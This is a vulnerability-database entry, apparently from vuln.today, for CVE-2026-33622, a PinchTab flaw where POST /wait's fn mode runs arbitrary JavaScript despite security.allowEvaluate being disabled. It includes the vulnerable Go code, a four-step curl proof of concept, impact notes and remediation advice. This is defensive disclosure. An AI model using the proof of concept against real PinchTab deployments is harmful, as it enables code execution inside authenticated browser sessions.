Suse
CVE-2026-33622
MEDIUM
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
PinchTab v0.8.3 through v0.8.5 allow arbitrary JavaScript execution through POST /wait and POST /tabs/{id}/wait when the request uses fn mode, even if security.allowEvaluate is disabled.
POST /evaluate correctly enforces the security.allowEvaluate guard, which is disabled by default. However, in the affected releases, POST /wait accepted a user-controlled fn expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.
This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.
The current worktree fixes this by applying the same policy boundary to fn mode in /wait that already exists on /evaluate, while preserving the non-code wait modes.
Details
Issue 1 - /evaluate enforced the guard, /wait did not (v0.8.3 through v0.8.5): The dedicated evaluate endpoint rejected requests when security.allowEvaluate was disabled:
// internal/handlers/evaluate.go - v0.8.5
func (h *Handlers) evaluateEnabled() bool {
return h != nil && h.Config != nil && h.Config.AllowEvaluate
}
func (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {
if !h.evaluateEnabled() {
httpx.ErrorCode(w, 403, "evaluate_disabled", httpx.DisabledEndpointMessage("evaluate", "security.allowEvaluate"), false, map[string]any{
"setting": "security.allowEvaluate",
})
return
}
// ...
}In the same releases, /wait did not apply that guard before evaluating fn:
// internal/handlers/wait.go - v0.8.5 (vulnerable)
func (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {
mode := req.mode()
if mode == "" {
httpx.Error(w, 400, fmt.Errorf("one of selector, text, url, load, fn, or ms is required"))
return
}
// No evaluateEnabled() check here in affected releases
// ...
}Issue 2 - fn mode evaluated caller-supplied JavaScript directly: The fn branch built executable JavaScript from the request field and passed it to chromedp.Evaluate:
// internal/handlers/wait.go - v0.8.5 (vulnerable)
case "fn":
js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)
matchLabel = "fn"
// Poll loop
evalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, &result))Because req.Fn was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.
Issue 3 - Current worktree contains an unreleased fix: The current worktree closes this gap by making fn mode in /wait respect the same security.allowEvaluate policy boundary that /evaluate already enforced. The underlying non-code wait modes remain available.
PoC
Prerequisites
- PinchTab
v0.8.3,v0.8.4, orv0.8.5 - A configured API token
security.allowEvaluate = false- A reachable tab context, created by the caller or already present
Step 1 - Confirm /evaluate is blocked by policy
curl -s -X POST http://localhost:9867/evaluate \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"expression":"1+1"}'Expected:
{
"code": "evaluate_disabled"
}Step 2 - Open a tab
curl -s -X POST http://localhost:9867/navigate \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"url":"https://example.com"}'Example result:
{
"tabId": "<TAB_ID>",
"title": "Example Domain",
"url": "https://example.com/"
}Step 3 - Execute JavaScript through /wait using fn mode
curl -s -X POST http://localhost:9867/wait \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"tabId":"<TAB_ID>",
"fn":"(function(){window._poc_executed=true;return true})()",
"timeout":5000
}'Example result:
{
"waited": true,
"elapsed": 1,
"match": "fn"
}Step 4 - Verify the side effect
curl -s -X POST http://localhost:9867/wait \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"tabId":"<TAB_ID>",
"fn":"window._poc_executed === true",
"timeout":3000
}'Example result:
{
"waited": true,
"elapsed": 0,
"match": "fn"
}Observation
/evaluatereturnsevaluate_disabledwhensecurity.allowEvaluateis off./waitstill evaluates caller-supplied JavaScript throughfnmode in the affected releases.- The first
/waitrequest introduces a side effect in page state. - The second
/waitrequest confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.
Impact
- Bypass of the explicit
security.allowEvaluatecontrol inv0.8.3throughv0.8.5. - Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.
- Ability to read or modify page state and act within authenticated browser sessions available to that tab context.
- Inconsistent security boundaries between
/evaluateand/wait, making the configured execution policy unreliable. - This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.
Suggested Remediation
- Make
fnmode in/waitenforce the same policy check as/evaluate. - Keep non-code wait modes available when JavaScript evaluation is disabled.
- Add regression coverage so the policy boundary remains consistent across endpoints.
AnalysisAI
PinchTab versions 0.8.3 through 0.8.5 contain a security-policy bypass that allows arbitrary JavaScript execution through the POST /wait endpoint's fn mode, even when the security.allowEvaluate setting is explicitly disabled. While the /evaluate endpoint correctly enforces the allowEvaluate guard, the /wait endpoint fails to apply the same policy check before evaluating caller-supplied JavaScript expressions, enabling authenticated users with an API token to execute arbitrary code in browser tab contexts despite the operator's intention to disable JavaScript evaluation. A proof-of-concept demonstrating this bypass has been published by the vendor, showing that side effects can be introduced in page state and confirmed through subsequent requests.
Technical ContextAI
PinchTab is a Go-based headless browser control service (pkg:go/github.com_pinchtab_pinchtab_cmd_pinchtab) that provides REST API endpoints for browser automation via chromedp, a Go package for controlling Chrome/Chromium via the DevTools Protocol. The vulnerability stems from CWE-94 (Improper Control of Generation of Code), specifically a code generation flaw where user-supplied fn expressions are interpolated directly into JavaScript templates without validation against the security.allowEvaluate policy boundary. The /evaluate endpoint implements the guard correctly by checking evaluateEnabled() before processing requests, but the /wait endpoint's fn mode branch bypasses this check entirely, embedding req.Fn directly into executable JavaScript via fmt.Sprintf() and passing it to chromedp.Evaluate() for execution in the browser context. This creates an inconsistent security boundary where the same dangerous operation is gated on one endpoint but not another.
RemediationAI
Upgrade PinchTab to a version released after the current worktree fix is merged (exact version number to be determined by the vendor release process; check GitHub releases at https://github.com/pinchtab/pinchtab). Until a patched release is available, enforce the security boundary manually by disabling API access to the /wait endpoint entirely via reverse proxy or network access control, or disable API token distribution and restrict PinchTab to localhost-only access. If security.allowEvaluate must remain disabled, use only the non-code wait modes (selector, text, url, load, ms) and reject any fn-mode requests at the API gateway level. Monitor API logs for POST /wait requests containing fn fields and treat any such requests as suspicious.
Same weakness CWE-94 – Code Injection
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today